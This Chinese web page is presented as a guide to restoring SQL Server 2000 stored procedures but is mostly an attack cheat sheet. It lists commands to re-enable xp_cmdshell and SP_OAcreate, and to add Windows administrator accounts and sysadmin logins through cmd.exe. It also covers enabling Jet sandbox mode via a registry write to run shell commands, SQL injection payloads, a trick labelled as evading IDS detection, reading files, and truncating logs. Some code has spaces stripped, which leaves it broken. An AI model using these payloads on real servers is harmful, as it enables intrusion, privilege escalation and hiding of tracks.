当前位置:数据库 > SQLServer >>

mssql2000恢复和删除常用系统存储过程

关于SQL SERVER2000的存储过程删除恢复和一些日常操作

有时候为了安全,我们会删除一些存储过程,不过有时候为了使用方便又需要恢复一些存储过程


1.xp_cmdshell被删除
2.xp_cmdshell所使用的xplog70.dll被删除
那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

usemaster
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeleteva lue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'

以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外
我再告诉大家xp_cmdshell新的恢复办法。
扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
execsp_dropextendedproc'xp_cmdshell'
恢复
dbcc addextendedproc(“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc(“xp_cmdshell”,”xplog70.dll”)
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
那么我们继续来解决第二个问题,如果是DLL被删了该怎么办呢?很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦
可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate,语句是:

DECLARE@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC SP_OAMETHOD
@shell,'run',null,'C:\WINdows\system32\cmd.exe /c net user iisloger hook /add'

上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用SP_OAcreate是需要wscript.shell来支
持的。如果wscript.shell被删除的话就是不能执行成功了。
另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
代码如下:

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0
\Engine','SandBoxMode','REG_DWORD','0'
意思是修改注册表开启沙盒
Select*FromOpenRowSet(‘Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(“net
user sadfish fish /add”)');
利用沙盒模式来添加个管理员

因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以
上两种方法都不可以用的时候就可以考虑沙盒模式
至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。
下面我在列出一些笔者常用的语句给大家参考
检测xp_cmdshell(CMD命令)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell')
检测xp_regread(注册表读取功能)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_regread')
检测sp_makewebtask(备份功能)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='sp_makewebtask')
检测sp_addextendedproc|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='sp_addextendedproc')
检测xp_subdirs读子目录|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_subdirs')
检测xp_dirtree读子目录|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_dirtree')
检测SP_OAcreate(执行命令)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='SP_OAcreate')
执行CMD命令SP_OAcreate
;DECLARE@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC
SP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'
sp_OACreate:
运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用 //要记住这点,如果服务器over了,
wscript.shell那么这存储过程也没多大的用了在注入方面。
建目录SP_OAcreate|
;DECLARE@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC
SP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'
创建一个虚拟目录E盘|
;declare@ointexecsp_oacreate'wscript.shell',@ooutexecsp_oamethod@o,'run',NULL,' cscript.exe
c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录为可读e|
;declare@ointexecsp_oacreate'wscript.shell',@ooutexecsp_oamethod@o,'run',NULL,' cscript.exe
c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
启动server服务|
;execmaster..xp_servicecontrol'start','server'当然你也可以启动其它服务
绕过IDS的检测的xp_cmdshell|
;declare@asysname set@a='xp_'+'cmdshell'exec@a'dir c:\'
开启远程数据库1|
; select * from OPENROWSET(‘SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select*fromtable1' )
开启远程数据库2|
;select * from OPENROWSET(‘SQLOLEDB', ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
'select*fromtable'
添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,password,username;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';–
;exec master.dbo.xp_cmdshell ‘net user username password/add';–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username/add';–
遍历目录 /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(‘上步得到的paths'))>)
遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\';– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\';– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp';– 查看文件的内容
删除日志:
DUMP TRANSACTION 数据库名 WITH NO_LOG
更改表的所有者
declare tb cursor local for
select 'sp_changeobjectowner ”['+replace(user_name(uid),']‘,']]')+'].['
+replace(name,']‘,']]')+']”,”dbo”'
from sysobjects
where xtype in(‘U','V','P','TR','FN','IF','TF') and status>=0
open tb
declare @s nvarchar(4000)
fetch tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch tb into @s
end
close tb
deallocate tb
go

Oracle
MySQL
Access
SQLServer
DB2
Excel
SQLite
SYBASE
Postgres
如果你遇到数据库难题:
请访问www.zzzyk.com 试试
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,